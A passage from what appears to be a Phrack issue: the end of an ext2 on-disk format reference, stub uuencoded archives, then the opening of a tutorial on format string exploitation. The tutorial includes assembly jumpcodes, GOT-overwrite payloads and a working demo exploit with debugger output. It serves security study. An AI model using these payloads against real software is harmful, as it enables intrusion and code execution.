__u32i_block[EXT2_N_BLOCKS];/* Pointers to blocks */

__u32i_version;/* File version (for NFS) */

__u32i_file_acl;/* File ACL */

__u32i_dir_acl;/* Directory ACL */

__u32i_faddr;/* Fragment address */

union {

struct {

__u8l_i_frag;/* Fragment number */

__u8l_i_fsize;/* Fragment size */

__u16i_pad1;

__u32l_i_reserved2[2];

} linux2;

struct {

__u8h_i_frag;/* Fragment number */

__u8h_i_fsize;/* Fragment size */

__u16h_i_mode_high;

__u16h_i_uid_high;

__u16h_i_gid_high;

__u32h_i_author;

} hurd2;

struct {

__u8m_i_frag;/* Fragment number */

__u8m_i_fsize;/* Fragment size */

__u16m_pad1;

__u32m_i_reserved2[2];

} masix2;

} osd2;/* OS dependent 2 */

};

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The two unions exist because the ext2fs is intended to be used on several operating systems that provide slightly differing features in their implementations. Aside from exceptional cases, the only elements of the unions that matter are the Linux structs: linux1 and linux2. These can simply be treated as padding as their contents are ignored in current implementations of ext2fs. The usage of the rest of the inode's values are described below.

* i_mode The mode of the file, this is the usual octal permissions that Unix users should be familiar with.

* i_uidThe UID of the owner of the file.

* i_size The size of the file, in bytes. Clearly the maximum size is 4G, as size is an unsigned 32bit integer. Support for 64bit file sizes had been hacked in with the following define supplying the high 32bits:

#define i_size_highi_dir_acl

* i_atimeThe last time the file was accessed. All times are stored in usual Unix manner: seconds since the epoch.

* i_ctimeThe creation time of the file.

* i_mtimeThe last time the file was modified.

* i_dtimeThe deletion time of the file. If the file is still live then the time will be 0x00000000.

* i_gidThe GID of the file.

* i_links_countThe number of times that the file is referenced in the high level file system. That is, each hard link to the file increments this count. When the last link to the file is removed from the FS, and the links count reaches 0, the file is deleted. The blocks referenced by the inode are marked as free in the bitmap.

* i_blocksThe number of blocks referenced by the inode. This is count doesn't include the indirect blocks, only blocks that contain actual file content.

* i_flagsThe extended attributes of the ext2fs are accomplished with this value. The valid flags are any combination of the following:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

#defineEXT2_SECRM_FL0x00000001 /* Secure deletion */

#defineEXT2_UNRM_FL0x00000002 /* Undelete */

#defineEXT2_COMPR_FL0x00000004 /* Compress file */

#define EXT2_SYNC_FL0x00000008 /* Synchronous updates */

#define EXT2_IMMUTABLE_FL0x00000010 /* Immutable file */

#define EXT2_APPEND_FL0x00000020 /* append only */

#define EXT2_NODUMP_FL0x00000040 /* do not dump file */

#define EXT2_NOATIME_FL0x00000080 /* do not update atime */

/* Reserved for compression usage... */

#define EXT2_DIRTY_FL0x00000100

#define EXT2_COMPRBLK_FL0x00000200 /* compressed clusters */

#define EXT2_NOCOMP_FL0x00000400 /* Don't compress */

#define EXT2_ECOMPR_FL0x00000800 /* Compression error */

/* End compression flags ‑‑‑ maybe not all used */

#define EXT2_BTREE_FL0x00001000 /* btree format dir */

#define EXT2_RESERVED_FL0x80000000 /* reserved for ext2 lib */

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

* i_block[]The block pointers. There are 15 array elements, the first 12 elements are direct blocks pointers; their blocks contain actual file content. The 13th element points to a block that acts as an extension of the array. This block is an indirect block, and the pointers it contains point to additional direct blocks. The 14th element points to a block containing an array of block pointers to indirect blocks. This element is the doubly indirect block. The last element is the trebly indirect block. This block contains pointers to doubly indirect blocks.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

#defineEXT2_NDIR_BLOCKS12

#defineEXT2_IND_BLOCKEXT2_NDIR_BLOCKS

#defineEXT2_DIND_BLOCK(EXT2_IND_BLOCK + 1)

#defineEXT2_TIND_BLOCK(EXT2_DIND_BLOCK + 1)

#defineEXT2_N_BLOCKS(EXT2_TIND_BLOCK + 1)

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

* i_versionThe file version. Doesn't appear to be used.

* i_file_aclA pointer to an ACL list. This is not used on ext2, as there are no ACLs implemented for this version of the file system.

* i_dir_aclA pointer to an ACL list. This is not used on ext2 as an ACL pointer, but rather as the value: [ i_size_high ]. This is an additional 32bits of file size, allowing the file size to be treated as a 64bit unsigned intetger. This is not generally used on ext2fs.

* i_faddrThe fragment address. Fragments are not used on the ext2fs; therefore, this value is always 0.

Certain inodes have special significance within the file system.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

#define EXT2_BAD_INO 1 /* Bad blocks inode */

#define EXT2_ROOT_INO 2 /* Root inode */

#define EXT2_ACL_IDX_INO 3 /* ACL inode */

#define EXT2_ACL_DATA_INO 4 /* ACL inode */

#define EXT2_BOOT_LOADER_INO 5 /* Boot loader inode */

#define EXT2_UNDEL_DIR_INO 6 /* Undelete directory inode */

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The bad blocks inode contains block pointers to data blocks that occupy bad sectors of the hard disk. The root inode is the root directory that contains the head of the file system tree. The other inodes are not typically used on production systems. The first inode used for user files is inode 11. This inode is the directory "lost+found", created by the tool mkfs.

. o O ( S U P E R B L O C K ) O o .

The super block is the most basic means that the kernel has of determining the status of the file system. It indicates the number of inodes, blocks, and groups, in addition to various other pieces of information. The elements within the super block structure change more rapidly than the inode or group data. This is because libext2fs adds features to the ext2fs which might not be implemented in the kernel. The format we examine is from e2fsprogs‑1.19.

The super block is 1024 bytes in size, and offset 1024 bytes from the start of the partition.

The format of the super block is as follows:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

struct ext2fs_sb {

__u32s_inodes_count;/* Inodes count */

__u32s_blocks_count;/* Blocks count */

__u32s_r_blocks_count;/* Reserved blocks count */

__u32s_free_blocks_count;/* Free blocks count */

__u32s_free_inodes_count;/* Free inodes count */

__u32s_first_data_block;/* First Data Block */

__u32s_log_block_size;/* Block size */

__s32s_log_frag_size;/* Fragment size */

__u32s_blocks_per_group;/* # Blocks per group */

__u32s_frags_per_group;/* # Fragments per group */

__u32s_inodes_per_group;/* # Inodes per group */

__u32s_mtime;/* Mount time */

__u32s_wtime;/* Write time */

__u16s_mnt_count;/* Mount count */

__s16s_max_mnt_count;/* Maximal mount count */

__u16s_magic;/* Magic signature */

__u16s_state;/* File system state */

__u16s_errors;/* Behaviour when detecting errors */

__u16s_minor_rev_level; /* minor revision level */

__u32s_lastcheck;/* time of last check */

__u32s_checkinterval;/* max. time between checks */

__u32s_creator_os;/* OS */

__u32s_rev_level;/* Revision level */

__u16s_def_resuid;/* Default uid for reserved blocks */

__u16s_def_resgid;/* Default gid for reserved blocks */

/*

* These fields are for EXT2_DYNAMIC_REV superblocks only. *

* Note: the difference between the compatible feature set and * the incompatible feature set is that if there is a bit set * in the incompatible feature set that the kernel doesn't * know about, it should refuse to mount the filesystem.

*

* e2fsck's requirements are more strict; if it doesn't know * about a feature in either the compatible or incompatible * feature set, it must abort and not try to meddle with

* things it doesn't understand...

*/

__u32s_first_ino; /* First non‑reserved inode */

__u16 s_inode_size; /* size of inode structure */

__u16s_block_group_nr; /* block group # of this superblock */

__u32s_feature_compat; /* compatible feature set */

__u32s_feature_incompat; /* incompatible feature set */

__u32s_feature_ro_compat; /* readonly‑compatible feature set */

__u8s_uuid[16];/* 128‑bit uuid for volume */

chars_volume_name[16]; /* volume name */

chars_last_mounted[64]; /* directory where last mounted */

__u32s_algorithm_usage_bitmap; /* For compression */

/*

* Performance hints. Directory preallocation should only * happen if the EXT2_FEATURE_COMPAT_DIR_PREALLOC flag is on. */

__u8s_prealloc_blocks;/* Nr of blocks to try to preallocate*/

__u8s_prealloc_dir_blocks;/* Nr to preallocate for dirs */

__u16s_padding1;

/*

* Journaling support.

*/

__u8s_journal_uuid[16];/* uuid of journal superblock */

__u32s_journal_inum;/* inode number of journal file */

__u32s_journal_dev;/* device number of journal file */

__u32s_last_orphan; /* start of list of inodes to delete */

__u32s_reserved[197]; /* Padding to the end of the block */

};

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

* s_inodes_countThe total number of inodes within the file system.

* s_blocks_countThe total number of blocks within the file system.

* s_r_blocks_countThe number of blocks reserved for the super user. If the FS becomes too full, these last reserved

blocks will prevent users from making the FS

unusable.

* s_free_blocks_countThe number of unused blocks. This value is constantly updated as blocks are freed or

allocated.

* s_free_inodes_countThe number of unused inodes. This value is constantly updates as inodes are freed or allocated.

* s_first_data_blockA pointer to the first data block, after all the blocks used to store inode tables, bitmaps and

groups. This value is either 0, or the correct

value.

* s_log_block_sizeThe size of a block. This value is stored as a shift value. The number to be shifted is 1024; therefore, to retrive the actual block size use:

bs = 1024 << sb.s_log_block_size;

* s_log_frag_sizeThe size of a fragment. This value is stored as a shift value. Fragments are not used on the ext2fs; therefore, this value is ignored.

* s_blocks_per_groupThe number of blocks in a group.

* s_frags_per_groupThe number of fragments in a group.

* s_inodes_per_groupThe number of inodes in a group.

* s_mtimeThe last time the file system was mounted. All time values are stored as seconds since the epoch.

* s_wtimeThe last time the file system was written.

* s_mnt_countThe number of times the file system has been mounted.

* s_max_mnt_countThe maximum number of times the file system can be mounted before it needs to be fsck'd. The default

value is 20.

* s_magicThe magic number of the file system: 0xEF53.

* s_stateThe state of the file system: either clean, or dirty. The flags are as follows:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

#define EXT2_VALID_FS 0x0001 /* Unmounted cleanly */

#define EXT2_ERROR_FS 0x0002 /* Errors detected */

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

* s_errorsThe response to take when an error is encountered. The following are valid values:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

#define EXT2_ERRORS_CONTINUE 1 /* Continue execution */

#define EXT2_ERRORS_RO 2 /* Remount fs read‑only */

#define EXT2_ERRORS_PANIC 3 /* Panic */

#define EXT2_ERRORS_DEFAULT EXT2_ERRORS_CONTINUE

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

* s_minor_rev_levelThe minor number of the ext2fs revision. This value can be safely ignored.

* s_lastcheckThe last time the file system was fsck'd, stored in typical Unix sec's since epoch format.

* s_checkintervalThe maximum amount of time that can elapse between fsckings. The file system needs to fscked if either

this value is exceeded, or s_max_mnt_count.

* s_creator_osThe OS that created this file system. Valid values are as follows:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

#define EXT2_OS_LINUX 0

#define EXT2_OS_HURD 1

#define EXT2_OS_MASIX 2

#define EXT2_OS_FREEBSD 3

#define EXT2_OS_LITES 4

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

* s_rev_levelThe revision of the file system. The only difference in values deals with inode sizes. The

current version uses a fixed inode size of 128

bytes. The following are valid values:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

#define EXT2_GOOD_OLD_REV 0 /* The good old (original) format */

#define EXT2_DYNAMIC_REV 1 /* V2 format w/ dynamic inode sizes */

#define EXT2_CURRENT_REV EXT2_GOOD_OLD_REV

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

* s_def_resuidDefault UID for reserved blocks. The default is 0.

* s_def_resgidDefault GID for reserved blocks. The default is 0.

* s_first_inoThe first non reserved inode. Inodes < 10 are reserved, so the first valid inode number is 11.

This inode is almost always the file "lost+found".

* s_inode_sizeThe size of an inode. The size is 128 bytes for current ext2fs implementations.

* s_block_group_nrThe block group that this super block is stored in.

* s_feature_compatFlags of features that this ext2fs supports. Valid features are the following:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

#define EXT2_FEATURE_COMPAT_DIR_PREALLOC 0x0001

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

* s_feature_incompatFlags of features that this ext2fs doesnt' support. Valid incompatabilities are the following:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

#define EXT2_FEATURE_INCOMPAT_COMPRESSION 0x0001

#define EXT2_FEATURE_INCOMPAT_FILETYPE 0x0002

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

* s_feature_ro_compatFlags of features that this ext2fs supports as read only. Valid features are as follows:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

#define EXT2_FEATURE_RO_COMPAT_SPARSE_SUPER 0x0001

#define EXT2_FEATURE_RO_COMPAT_LARGE_FILE 0x0002

#define EXT2_FEATURE_RO_COMPAT_BTREE_DIR 0x0004

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

* s_uuidThe unique ID of this ext2fs.

* s_volume_nameThe name of the volume. (I don't know what this is used for, but it sertainly isn't important).

* s_last_mountedThe directory on which this file system was last mounted.

* s_algorithm_usage_bitmap(I don't know how this is used. No interest in FS compression.)

* s_prealloc_blocksThe number of blocks to try to preallocate for a file.

* s_prealloc_dir_blocksThe number of block to try to preallocate for a directory file.

* s_padding1padding.

* s_journal_*(I don't have journalling support on my FS, therefore I do not know how these values are used.)

* s_reserverd[]This is padding to fill the super block out to 1024 bytes.

. o O ( G R O U P S ) O o .

Ext2fs groups are used to organise clusters of blocks and inodes. Groups each contain a bitmap of free inodes, and one of free blocks. Additionally each group has a copy of the super block to help prevent against catastrophic data loss. Group descriptors are stored on the blocks immediately after the super block, following them are bitmaps and inode tables, and following that data blocks.

The format of a group descriptor is as follows:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

struct ext2_group_desc

{

__u32 bg_block_bitmap; /* Blocks bitmap block */

__u32 bg_inode_bitmap; /* Inodes bitmap block */

__u32 bg_inode_table; /* Inodes table block */

__u16 bg_free_blocks_count; /* Free blocks count */

__u16 bg_free_inodes_count; /* Free inodes count */

__u16 bg_used_dirs_count; /* Directories count */

__u16 bg_pad;

__u32 bg_reserved[3];

};

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

* bg_block_bitmapA block pointer to the block bitmap. The bits in the bitmap are set to indicate free/in‑use.

* bg_inode_bitmapA block pointer to the inode bitmap. The bits in the bitmap are set to indicate free/in‑use.

* bg_inode_tableA block pointer to the start of the inode table.

* bg_free_blocks_countThe number of blocks within the group that are available for use.

* bg_free_inodes_countThe number of inodes within the group that are available for use.

* bg_used_dirs_countThe number of inodes from this group used for directory files.

* bg_padpadding.

* pg_reserved[]padding.

. o O ( D I R E C T O R I E S ) O o .

Directories are used to organize files at the Operating system level. The contents of a directory file is an array of directory entry structures. Each contains the name of a file within the directory, and the inode of that file.

The format of ext2 directory entries is as follows:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

struct ext2_dir_entry_2 {

__u32 inode; /* Inode number */

__u16 rec_len; /* Directory entry length */

__u8 name_len; /* Name length */

__u8 file_type;

char name[EXT2_NAME_LEN]; /* File name */

};

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

* inodeThe inode number of the file within the directory. If a file has been deleted, the inode number is set to 0.

* rec_lenThe size of the directory entry. As the length of the name can be anything up to 255 byte, this allows for more efficient use of space within the directory file.

* name_lenThe length of the file's name. This can be up to 255 bytes.

* file_typeThe type of file, i.e. symlink, device, etc. etc. The following are valid values:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

#define EXT2_FT_UNKNOWN 0

#define EXT2_FT_REG_FILE 1

#define EXT2_FT_DIR 2

#define EXT2_FT_CHRDEV 3

#define EXT2_FT_BLKDEV 4

#define EXT2_FT_FIFO 5

#define EXT2_FT_SOCK 6

#define EXT2_FT_SYMLINK 7

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

This concludes the walk through of the physical layout of the ext2 file system. Further information is available from http://e2fsprogs.sourceforge.net.

‑‑‑‑[ 8.2 ‑ runefs.tar.gz (uuencoded)

begin 600 runefs.tar.gz M'XL(`$LK.3T``^P\87?C‑G+Y2O\*W.9=(OELKZ7UVKENDU=9IKWJVI(KR;M) end

‑‑‑‑[ 8.3 ‑ tdt.tar.gz (uuencoded)

begin 600 tdt.tar.gz M'XL(`%LK.3T``^P\:W/;.)+Y*OT*1'E)MMZ6["LK<3:QY1G?.G;*5F8R‑W&I end

Advances in format string exploitation

==Phrack Inc.==

0x0b, Issue 0x3b, Phile #0x07 of 0x12

|=‑‑‑‑‑‑‑‑‑‑‑‑‑=[ Advances in format string exploitation ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑=[ by gera <gera@corest.com>, riq <riq@corest.com> ]=‑‑‑‑‑‑‑‑‑=|

1 ‑ Intro

Part I

2 ‑ Bruteforcing format strings

3 ‑ 32*32 == 32 ‑ Using jumpcodes

3.1 ‑ write code in any known address

3.2 ‑ the code is somewhere else

3.3 ‑ friendly functions

3.4 ‑ no weird addresses

4 ‑ n times faster

4.1 ‑ multiple address overwrite

4.2 ‑ multiple parameters bruteforcing

Part II

5 ‑ Exploiting heap based format strings

6 ‑ the SPARC stack

7 ‑ the trick

7.1 ‑ example 1

7.2 ‑ example 2

7.3 ‑ example 3

7.4 ‑ example 4

8 ‑ building the 4‑bytes‑write‑anything‑anywhere primitive 8.1 ‑ example 5

9 ‑ the i386 stack

9.1 ‑ example 6

9.2 ‑ example 7 ‑ the pointer generator

10 ‑ conclusions

10.1 ‑ is it dangerous to overwrite the l0 (on the stack frame) ? 10.2 ‑ is it dangerous to overwrite the ebp (on the stack frame) ? 10.3 ‑ is this reliable ?

The End

11 ‑ more greets and thanks

12 ‑ References

‑‑[ 1. Intro

Is there anything else to say about format strings after all this time? probably yes, or at least we are trying... To start with, go get scut's excellent paper on format strings [1] and read it.

This text deals with 2 different subjects. The first is about different tiny tricks that may help speeding up bruteforcing when exploiting format strings bugs, and the second is about exploting heap based format strings bugs.

So fasten your seatbelts, the trip has just begun.

‑‑[ Part I ‑ by gera

‑‑[ 2. Bruteforcing format strings

"...Bruteforcing is not a very happy term, and doesn't make justice for a lot of exploit writers, as most of the time a lot of brain power is used to solve the problem in better ways than just brute force..."

My greets to all those artists who inspired this phrase, specially ~{MaXX,dvorak,Scrippie}, scut[], lg(zip) and lorian+k.

‑‑[ 3. 32*32 == 32 ‑ Using jumpcodes

Ok, first things first...

A format string lets you, after dealing with it, write what you want where you want... I like to call this a write‑anything‑anywhere primitive, and the trick described here can be used whenever you have a write‑anything‑anywhere primitive, be it a format string, an overflow over the "destination pointer of a strcpy()", several free()s in a row, a ret2memcpy buffer overflow, etc.

Scut[1], shock[2], and others[3][4] explain several methods to hook the execution flow using a write‑anything‑anywhere primitive, namely changing GOT, changing some function pointer, atexit() handlers, erm... a virtual member of a class, etc. When you do so, you need to know, guess or predict 2 different addresses: function pointer's address and shellcode's address, each has 32 bits, and if you go blindly bruteforcing, you'll need to get 64 bits... well, this is not true, suppose GOT's address always starts with, mmm... 0x0804 and that your code will be in, erm... 0x0805... ok, for linux this may even be true, so it's not 64 bits, but 32 total, so it's just 4,294,967,296 tries... well, no, because you may be able to provide a cushion of 4K nops, so it goes down to 1,048,576 tries, and as GOT must be walked on 4 bytes steps, it's just 262,144... heh, all theese numbers are just... erm... nonsense.

Well, sometimes there are other tricks you can do, use a read primitive to learn something from the target process, or turn a write primitive into a read primitive, or use more nops, or target stack or just hardcode some addresses and go happy with it...

But, there is something else you can do, as you are not limited to writing only 4 bytes, you can write more than the address to the shellcode, you can also write the shellcode!

‑‑‑‑[ 3.1. write code in any known address

Even with a single format string bug you can write not only more than 4, bytes, but you can also write them to different places in memory, so you can choose any known to be writable and executable address, lets say, 0x8051234 (for some target program running on some linux), write some code there, and change the function pointer (GOT, atexit()'s functions, etc) to point it:

GOT[read]: 0x8051234 ; of course using read is just

an example

0x8051234: shellcode

What's the difference? Well... shellcode's address is now known, it's always 0x8051234, hence you only have to bruteforce function pointer's address, cutting down the number of bits to 15 in the worst case.

Ok, right, you got me... you cannot write a 200 bytes shellcode using this technique with a format string (or can you?), maybe you can write a 30 bytes shellcode, but maybe you only have a few bytes... so, we need a really small jumpcode for this to work.

‑‑‑‑[ 3.2. the code is somewhere else

I'm pretty sure you'll be able to put the code somewhere in target's memory, in stack or in heap, or somewhere else (!?). If this is the case, we need our jumpcode to locate the shellcode and jump there, what could be really easy, or a little more tricky.

If the shellcode is somewhere in stack (in the same format string perhaps?) and if you can, more or less, know how far from the SP it will be when the jumpcode is executed, you can jump relative to the SP with just 8 or 5 bytes:

GOT[read]: 0x8051234

0x8051234: add $0x200, %esp ; delta from SP to code

jmp *%esp ; just use esp if you can

esp+0x200: nops... ; just in case delta is

not really constant

real shellcode ; this is not writen using

the format string

Is the code in heap?, but you don't have the slightest idea where it is? Just follow Kato (this version is 18 bytes, Kato's version is a little longer, but only made of letters, he didn't use a format string though):

GOT[read]: 0x8051234

0x8051234: cld

mov $0x4f54414a,%eax ; so it doesn find

inc %eax ; itself (tx juliano)

mov $0x804fff0, %edi ; start searching low

in memory

repne scasl

jcxz .‑2 ; keep searching!

jmp *$edi ; upper case letters

are ok opcodes.

somewhere

in heap: 'KATO' ; if you know the alignment

'KKATO' ; one is enough, otherwise

'KKATO' ; make some be found

'KKATO'

real shellcode

Is it in stack but you don't know where? (10 bytes)

GOT[read]: 0x8051234

0x8051234: mov $0x4f54414a,%ebx ; so it doesn find

inc %ebx ; itself (tx juliano)

pop %eax

cmp %ebx, %eax

jnz .‑3

jmp *$esp

somewhere

in stack: 'KATO' ; you'll know the alignment

real shellcode

Something else? ok, you figure your jumpcode yourself :‑) But be carefull! 'KATO' may not be a good string, as it's executed and has some side effect. :‑)

You may even use a jumpcode which copies from stack to heap if the stack is not executable but the heap is.

‑‑‑‑[ 3.3. friendly functions

When changing GOT you can choose what function pointer you want to use, some functions may be better than others for some targets. For example, if you know that after you changed the function pointer, the buffer containing the shellcode will be free()ed, you can just do: (2 bytes)

GOT[free]: 0x8051234 ; using free this time

0x8051234: pop %eax ; discarding real ret addr

ret ; jump to free's argument

The same may happen with read() if the same buffer with the shellcode is reused to read more from the net, or syslog() or a lot of other functions... Sometimes you may need a jumpcode a little more complex if you need to skip some bytes at the beggining of the shellcode:

(7 or 10 bytes)

GOT[syslog]: 0x8051234 ; using syslog

0x8051234: pop %eax ; discarding real ret addr

pop %eax

add $0x50, %eax ; skip some non‑code bytes

jmp *$eax

And if nothing else works, but you can distinguish between a crash and a hung, you can use a jumpcode with an infinite loop that will make the target hung: You bruteforce GOT's address until the server hungs, then you know you have the right address for some GOT entry that works, and you can start bruteforcing the address for the real shellcode.

GOT[exit]: 0x8051234

0x8051234: jmp . ; infinite loop

‑‑‑‑[ 3.4. no weird addresses

As I don't like choosing arbitrary addresses, like 0x8051234, what we can do is something a little different:

GOT[free]: &GOT[free]+4 ; point it to next 4 bytes

jumpcode ; address is &GOT[free]+4

You don't really know GOT[free]'s address, but on every bruteforcing step you are assuming you know it, then, you can make it point 4 bytes ahead of it, where you can place the jumpcode, i.e. if you assume your GOT[free] is at 0x8049094, your jumpcode will be at 0x8049098, then, you have to write the value 0x8049098 to the address 0x8049094 and the jumpcode to 0x8049098:

/* fs1.c

* demo program to show format strings techinques * * specially crafted to feed your brain by gera@corest.com */

int main() {

char buf[1000];

strcpy(buf,

"\x94\x90\x04\x08" // GOT[free]'s address

"\x96\x90\x04\x08" //

"\x98\x90\x04\x08" // jumpcode address (2 byte for the demo)

"%.37004u" // complete to 0x9098 (0x9098‑3*4)

"%8$hn" // write 0x9098 to 0x8049094

"%.30572u" // complete to 0x10804 (0x10804‑0x9098)

"%9$hn" // write 0x0804 to 0x8049096

"%.47956u" // complete to 0x1c358 (0x1c358‑0x10804)

"%10$hn" // write 5B C3 (pop ‑ ret) to 0x8049098

);

printf(buf);

}

gera@vaiolent:~/papers/gera$ make fs1

cc fs1.c ‑o fs1

gera@vaiolent:~/papers/gera$ gdb fs1

(gdb) br main

Breakpoint 1 at 0x8048439

(gdb) r

Breakpoint 1, 0x08048439 in main ()

(gdb) n

...0000000000000...

(gdb) x/x 0x8049094

0x8049094: 0x08049098

(gdb) x/2i 0x8049098

0x8049098: pop %eax

0x8049099: ret

So, if the address of the GOT entry for free() is 0x8049094, the next time free() is called in the program our little jumpcode will be called instead.

This last method has another advantage, it can be used not only on format strings, where you can make every write to a different address, but it can also be used with any write‑anything‑anywhere primitive, like a "destination pointer of strcpy()" overwrite, or a ret2memcpy buffer overflow. Or if you are as lucky [or clever] as lorian, you may even do it with a single free() bug, as he teached me to do.

‑‑[ 4. n times faster

‑‑‑‑[ 4.1. multiple address overwrite

If you can write more than 4 bytes, you can not only put the shellcode or jumpcode where you know it is, you can also change several pointers at the same time, speeding up things again.

Of course this can be done, again, with any write‑anything‑anywhere primitive which let's you write more than just 4 bytes, and, as we are going to write the same values to all the pointers, there is a cheap way to do it with format strings.

Suppose we are using the following format string to write 0x12345678 at the address 0x08049094:

"\x94\x90\x04\x08" // the address to write the first 2 bytes

"AAAA" // space for 2nd %.u

"\x96\x90\x04\x08" // the address for the next 2 bytes

"%08x%08x%08x%08x%08x%08x" // pop 6 arguments

"%.22076u" // complete to 0x5678 (0x5678‑4‑4‑4‑6*8)

"%hn" // write 0x5678 to 0x8049094

"%.48060u" // complete to 0x11234 (0x11234‑0x5678)

"%hn" // write 0x1234 to 0x8049096

As %hn does not add characters to the output string, we can write the same value to several locations without having to add more padding. For example, to turn this format string into one that writes the value 0x12345678 to 5 consecutive words starting in 0x8049094 we can use:

"\x94\x90\x04\x08" // addresses where to write 0x5678

"\x98\x90\x04\x08" //

"\x9c\x90\x04\x08" //

"\xa0\x90\x04\x08" //

"\xa4\x90\x04\x08" //

"AAAA" // space for 2nd %.u

"\x96\x90\x04\x08" // addresses for 0x1234

"\x9a\x90\x04\x08" //

"\x9e\x90\x04\x08" //

"\xa2\x90\x04\x08" //

"\xa6\x90\x04\x08" //

"%08x%08x%08x%08x%08x%08x" // pop 6 arguments

"%.22044u" // complete to 0x5678: 0x5678‑(5+1+5)*4‑6*8

"%hn" // write 0x5678 to 0x8049094

"%hn" // write 0x5678 to 0x8049098

"%hn" // write 0x5678 to 0x804909c

"%hn" // write 0x5678 to 0x80490a0

"%hn" // write 0x5678 to 0x80490a4

"%.48060u" // complete to 0x11234 (0x11234‑0x5678)

"%hn" // write 0x1234 to 0x8049096

"%hn" // write 0x1234 to 0x804909a

"%hn" // write 0x1234 to 0x804909e

"%hn" // write 0x1234 to 0x80490a2

"%hn" // write 0x1234 to 0x80490a6

Or the equivalent using direct parameter access.

"\x94\x90\x04\x08" // addresses where to write 0x5678

"\x98\x90\x04\x08" //

"\x9c\x90\x04\x08" //

"\xa0\x90\x04\x08" //

"\xa4\x90\x04\x08" //

"\x96\x90\x04\x08" // addresses for 0x1234

"\x9a\x90\x04\x08" //

"\x9e\x90\x04\x08" //

"\xa2\x90\x04\x08" //

"\xa6\x90\x04\x08" //

"%.22096u" // complete to 0x5678 (0x5678‑5*4‑5*4)

"%8$hn" // write 0x5678 to 0x8049094

"%9$hn" // write 0x5678 to 0x8049098

"%10$hn" // write 0x5678 to 0x804909c

"%11$hn" // write 0x5678 to 0x80490a0

"%12$hn" // write 0x5678 to 0x80490a4

